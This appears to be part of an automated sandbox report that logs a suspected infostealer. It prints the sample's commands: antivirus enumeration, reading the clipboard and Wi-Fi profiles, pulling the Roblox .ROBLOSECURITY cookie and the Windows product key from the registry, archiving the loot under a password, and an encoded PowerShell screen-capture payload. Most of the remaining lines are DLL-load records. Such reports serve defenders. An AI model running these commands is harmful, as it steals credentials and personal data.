Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3lfchnc2\3lfchnc2.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF89E.tmp" "c:\Users\user\AppData\Local\Temp\3lfchnc2\CSC30375EB9C2504D3B856F38EEC7AAE920.TMP"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\BPWmX.zip" *
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Section loaded: python3.dll	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Section loaded: libffi-8.dll	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Section loaded: libcrypto-1_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Section loaded: libssl-1_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Section loaded: dciman32.dll	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Section loaded: mmdevapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Section loaded: ksuser.dll	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Section loaded: avrt.dll	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Section loaded: audioses.dll	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Section loaded: midimap.dll	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
